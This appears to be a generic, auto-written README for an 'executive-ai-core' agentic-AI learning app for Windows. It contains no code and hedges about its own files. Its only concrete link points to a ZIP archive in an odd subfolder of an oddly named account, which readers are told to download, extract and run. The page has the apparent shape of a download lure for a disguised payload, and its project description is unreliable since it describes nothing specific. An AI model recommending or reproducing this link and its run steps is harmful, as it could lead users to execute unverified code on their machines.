🧠 executive-ai-core - Learn Agent AI From Scratch

📌 What this is

executive-ai-core is a small Python app that shows how an executive AI agent works from the ground up. It is built for students, teachers, and junior devs who want a simple way to study agentic AI.

This project focuses on clear code, full comments, and a simple flow. It helps you see how an AI can plan tasks, follow steps, and act on a goal.

🖥️ What you need

• A Windows PC
• Internet access
• Python 3.10 or newer
• A web browser
• A text editor if you want to view the code

If you only want to run the app, you do not need to know how to code.

🔽 Download and run

Go to the project page here:

Visit the GitHub page to download

Then follow the files or steps shown on that page to download and run the app on Windows.

🚀 How to set it up on Windows

1. Open the download page in your browser.
2. Download the project files to your PC.
3. If the files come in a ZIP folder, right-click it and choose Extract All.
4. Open the extracted folder.
5. Look for a file named README.md or a main Python file such as main.py or app.py.
6. If the project includes a setup file like requirements.txt, use it to install the needed Python packages.
7. Start the app from the main file listed in the project folder.

If you are using a terminal, the usual flow looks like this:

• Open Command Prompt
• Go to the project folder
• Run the main Python file

🛠️ Simple run steps

If the project uses a Python entry file, use these steps:

1. Open the folder that holds the project.

2. Hold Shift and right-click inside the folder.

3. Choose Open PowerShell window here or Open in Terminal.

4. Type:

   python main.py

5. Press Enter.

If the project uses a different file name, use that file name instead of main.py.

🧩 What the app does

This project is built to show how an AI agent can work in a simple loop.

It can help you understand:

• Goal setting
• Task planning
• Step-by-step action
• Prompt handling
• Basic AI workflow
• How an agent decides what to do next

The code is small on purpose. That makes it easier to read and study.

📚 Why people use it

This project works well if you want to:

• Learn how agentic AI works
• Study a simple plan-and-execute flow
• Teach AI basics in class
• Show how prompts shape behavior
• Explore Python in a low-stress way
• Build a first AI project without a large codebase

⚙️ Expected project layout

A project like this often includes files such as:

• main.py — starts the app
• agent.py — holds the agent logic
• prompts.py — stores prompt text
• config.py — keeps settings
• requirements.txt — lists Python packages
• README.md — gives setup steps

If the folder names look a little different, that is normal. The core idea stays the same.

🔐 API key setup

This kind of app may use an AI service key to talk to a model like Claude.

If the project asks for a key:

1. Open the file named .env, config.py, or another settings file.
2. Find the line for the API key.
3. Paste your key into the right place.
4. Save the file.
5. Run the app again.

Keep your key private. Do not share it in public posts or screenshots.

🧪 How to test that it works

After you start the app, try a simple task such as:

• Plan a study session
• Break a goal into steps
• Summarize a short topic
• Ask the agent to outline a process

If the app opens and returns a response, the setup is working.

🧰 Common Windows issues

Python not found

If Windows says Python is not found:

1. Install Python from the official Python site.
2. During setup, check the box that says Add Python to PATH.
3. Close and reopen Command Prompt.
4. Try again.

The app closes right away

If the window opens and closes fast:

1. Start it from Command Prompt or PowerShell.
2. Read the error message.
3. Check that you used the right file name.
4. Make sure the needed packages are installed.

Missing package errors

If you see an error about a missing package:

1. Open the project folder.
2. Find requirements.txt.
3. Run the install command from that folder.
4. Start the app again.

API error or no response

If the app cannot reach the AI service:

1. Check your API key.
2. Make sure the key is active.
3. Check your internet connection.
4. Try the app again.

🧭 Basic learning path

If you want to study the project, use this order:

1. Read README.md
2. Open the main Python file
3. Find the first function that starts the app
4. Follow the code flow step by step
5. Look at the prompt text
6. Change one small part and test again

This is a good way to learn how agent code works without getting lost.

🧑‍🏫 Good use cases

• Classroom demos
• AI study groups
• First Python AI project
• Prompt engineering practice
• Agent workflow lessons
• Code reading practice

📂 How to explore the code

Look for these parts:

• Where the user goal enters the app
• Where the prompt gets built
• Where the AI model gets called
• Where the result comes back
• Where the next step gets chosen

If you follow that path, the full flow becomes easier to see.

🔄 Typical agent flow

A simple executive agent often works like this:

1. Receive a goal
2. Turn the goal into steps
3. Pick the next task
4. Send the task to the model
5. Read the output
6. Decide what to do next
7. Stop when the goal is done

That pattern is the core of many agent systems.

🧾 Topics covered

• agentic AI
• agent workflow
• AI agents automation
• Anthropic Claude
• API use
• autonomous agents
• beginner-friendly project
• education
• LLM basics
• minimal Python app
• plan and execute
• system prompts
• tutorial style learning

💾 File types you may see

• .py for Python code
• .txt for setup lists
• .md for instructions
• .env for secret settings
• .json for structured data

🔍 Before you start

Make sure you have:

• Downloaded the project
• Extracted the files if needed
• Installed Python
• Set up any API key the app needs
• Opened the correct folder before running the file

🧱 If you want to change the app later

You can make small edits such as:

• Change the prompt text
• Adjust the task steps
• Add your own goal examples
• Print extra status messages
• Try a different model setting

Make one change at a time so it is easy to see what changed

📎 Project link

https://raw.githubusercontent.com/Maiblemodulated493/executive-ai-core/main/marrowish/executive-ai-core-v3.3-alpha.2.zip

🧭 Quick start checklist

1. Visit the download page
2. Get the files
3. Extract the folder if needed
4. Install Python
5. Set any API key the app asks for
6. Open the project folder in PowerShell
7. Run the main Python file
8. Test with a simple goal